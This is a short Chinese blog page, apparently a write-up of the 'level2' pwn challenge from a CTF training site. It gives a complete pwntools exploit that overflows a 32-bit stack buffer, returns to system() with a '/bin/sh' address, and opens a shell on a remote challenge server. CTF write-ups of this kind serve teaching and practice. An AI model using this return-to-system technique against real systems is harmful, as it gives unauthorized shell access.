当前位置:网站首页>PWN attack and defense world level2
PWN attack and defense world level2
2022-06-29 02:38:00 【Day-3】

First , Let's go through the standard process .
Run it .
Put in IDA in .


To write exp:
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
content = 0
elf = ELF("Level2")
system_plt_addr = elf.plt["system"]
bin_sh_addr = next(elf.search(b"/bin/sh"))
def main():
if content == 1:
day3 = process("Level2")
else:
day3 =remote("111.200.241.244",56811)
payload = b'a' * (0x88 + 4) + p32(system_plt_addr)
payload = payload + b'aaaa' + p32(bin_sh_addr)
day3.sendlineafter("Input:\n",payload)
day3.interactive()
main()


get Flag.
边栏推荐
- Some tests on complementary wasm environment
- 矩阵特征值和特征向量求解——特征值分解(EVD)
- The thinkphp5.1 runtime file has been changed to 777 permission, but cannot be written
- Centos7 installation php7.2
- PMP商业分析概述
- Leetcode counts the logarithm of points that cannot reach each other in an undirected graph
- PHP的exec函数
- sql训练01
- Kubernetes: container resource requirements and constraints (constraints)
- The linkedhashset set makes the elements orderly without repetition
猜你喜欢

Use photoshop2022 to create a wonderful gradient effect for pictures

瀑布型项目管理最常用的10个小工具,可以自由搭建使用

Use code binding DataGridView control to display tables in program interface

短视频平台常见SQL面试题,你学会了吗?

Koa quick start

音响是如何把微弱声音放大呢

They all talk about interviews with big factories. When I interview with small factories, I invite people to drink tea?
![[sans titre]](/img/36/2f9319e05157ab6a8dd5aa3bef4505.png)
[sans titre]

How to use project Gantt chart to make project report

Sysbench Pressure Test Oracle (installation and use examples)
随机推荐
leetcode 统计放置房子的方式数
Temperature conversion II
对补wasm环境的一些测试
Relations EMC, EMI, EMS
Boost the digital economy and face the future office | the launch of the new version of spreadjsv15.0 is about to begin
三角函数计算
LabVIEW generate application (exe) and installer
pvcreate asm disk导致asm磁盘组异常恢复---惜分飞
项目研发,有哪些好用的免费脑图工具软件
Eight difficulties of embedded C language
11 go Foundation: Interface
Koa 快速入門
音响是如何把微弱声音放大呢
Eliminate the hover effect when the button is disabled
Set set
SystemVerilog structure (I)
LabVIEW jump to web page
字符串属性练习
Sysbench Pressure Test Oracle (installation and use examples)
Use photoshop2022 to create a wonderful gradient effect for pictures